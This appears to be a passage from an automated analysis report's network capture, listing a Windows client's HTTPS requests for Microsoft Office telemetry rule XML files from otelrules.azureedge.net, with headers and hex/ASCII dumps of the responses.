2024-10-30 19:14:21 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 6f 77 65 72 50 6f 69 6e 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.PowerPoint.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
133	192.168.2.4	49888	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 19:14:21 UTC	192	OUT	GET /rules/rule700500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 19:14:21 UTC	584	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 19:14:21 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE51CE7B3" x-ms-request-id: dbdc188e-001e-002b-6b28-2799f2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T191421Z-16849878b7867ttgfbpnfxt44s00000008c0000000007cyt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-30 19:14:21 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 6f 77 65 72 50 6f 69 6e 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 6f 77 65 72 50 6f 69 6e 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.PowerPoint" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPowerPoint" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
134	192.168.2.4	49889	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 19:14:22 UTC	192	OUT	GET /rules/rule702551v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 19:14:22 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 19:14:22 GMT Content-Type: text/xml Content-Length: 1415 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCE9703A" x-ms-request-id: 30963bf2-701e-0001-2a98-28b110000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T191422Z-15b8d89586f5s5nz3ffrgxn5ac000000092g00000000h9mh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 19:14:22 UTC	1415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702551" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Personalization.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
135	192.168.2.4	49890	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 19:14:22 UTC	192	OUT	GET /rules/rule702550v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 19:14:22 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 19:14:22 GMT Content-Type: text/xml Content-Length: 1378 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE584C214" x-ms-request-id: 2d08e37c-b01e-0021-309c-27cab7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T191422Z-17c5cb586f6mkpfkkpsf1dpups00000003ug000000005psu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 19:14:22 UTC	1378	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702550" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Personalization" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPersonalization" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
136	192.168.2.4	49891	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 19:14:22 UTC	192	OUT	GET /rules/rule701351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 19:14:22 UTC	584	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 19:14:22 GMT Content-Type: text/xml Content-Length: 1407 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE687B46A" x-ms-request-id: 5278af64-001e-0034-3fad-26dd04000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T191422Z-16849878b78zqkvcwgr6h55x9n00000007ug00000000s94p x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-30 19:14:22 UTC	1407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 66 6f 72 6d 61 6e 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Performance.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTok

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.4	49892	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 19:14:22 UTC	192	OUT	GET /rules/rule701350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 19:14:22 UTC	584	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 19:14:22 GMT Content-Type: text/xml Content-Length: 1370 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE62E0AB" x-ms-request-id: 135a34dd-b01e-0098-371c-27cead000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T191422Z-17c5cb586f6ks725u50g36qts800000000gg000000003f0c x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-30 19:14:22 UTC	1370	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 66 6f 72 6d 61 6e 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 72 66 6f 72 6d 61 6e 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Performance" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPerformance" S="Medium" /> <F

Session ID	Source IP	Source Port	Destination IP	Destination Port
138	192.168.2.4	49894	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 19:14:22 UTC	192	OUT	GET /rules/rule702150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 19:14:23 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 19:14:23 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:07 GMT ETag: "0x8DC582BEDC8193E" x-ms-request-id: e20e9adc-401e-0083-18ae-26075c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T191423Z-16849878b7898p5f6vryaqvp5800000009bg000000003z4g x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 19:14:23 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 6f 70 6c 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 6f 70 6c 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.People" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPeople" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
139	192.168.2.4	49893	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 19:14:22 UTC	192	OUT	GET /rules/rule702151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 19:14:23 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 19:14:23 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE156D2EE" x-ms-request-id: 2adb5bf6-401e-0067-6309-2809c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T191423Z-17c5cb586f626sn8grcgm1gf800000000700000000005c04 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 19:14:23 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 6f 70 6c 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 6f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.People.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPeo

Session ID	Source IP	Source Port	Destination IP	Destination Port
140	192.168.2.4	49895	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 19:14:23 UTC	192	OUT	GET /rules/rule703001v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 19:14:23 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 19:14:23 GMT Content-Type: text/xml Content-Length: 1406 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB16F27E" x-ms-request-id: 6a8dfae7-001e-000b-0c81-2915a7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T191423Z-17c5cb586f626sn8grcgm1gf8000000006wg00000000g7h6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 19:14:23 UTC	1406	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 30 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 4d 61 63 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703001" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Mac.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTok

Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.4	49896	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 19:14:23 UTC	192	OUT	GET /rules/rule703000v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 19:14:23 UTC	584	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 19:14:23 GMT Content-Type: text/xml Content-Length: 1369 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:49 GMT ETag: "0x8DC582BE32FE1A2" x-ms-request-id: 419dffea-201e-003c-451f-2830f9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T191423Z-15b8d89586fnsf5zkvx8tfb0zc00000003n0000000007d3k x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-30 19:14:23 UTC	1369	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 30 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 4d 61 63 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 75 74 6c 6f 6f 6b 4d 61 63 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703000" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Mac" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOutlookMac" S="Medium" /> <F T

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.4	49897	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 19:14:23 UTC	192	OUT	GET /rules/rule700751v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 19:14:23 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 19:14:23 GMT Content-Type: text/xml Content-Length: 1414 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE03B051D" x-ms-request-id: 897ec3ad-201e-005d-0167-27afb3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T191423Z-16849878b78x44pv2mpb0dd37w00000000e0000000008vtx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 19:14:23 UTC	1414	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 37 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700751" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Desktop.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.4	49898	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 19:14:23 UTC	192	OUT	GET /rules/rule700750v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 19:14:24 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 19:14:23 GMT Content-Type: text/xml Content-Length: 1377 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:02 GMT ETag: "0x8DC582BEAFF0125" x-ms-request-id: d6a1c2a7-101e-0079-31ea-2a5913000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T191423Z-16849878b78bjkl8dpep89pbgg000000072000000000wbfk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
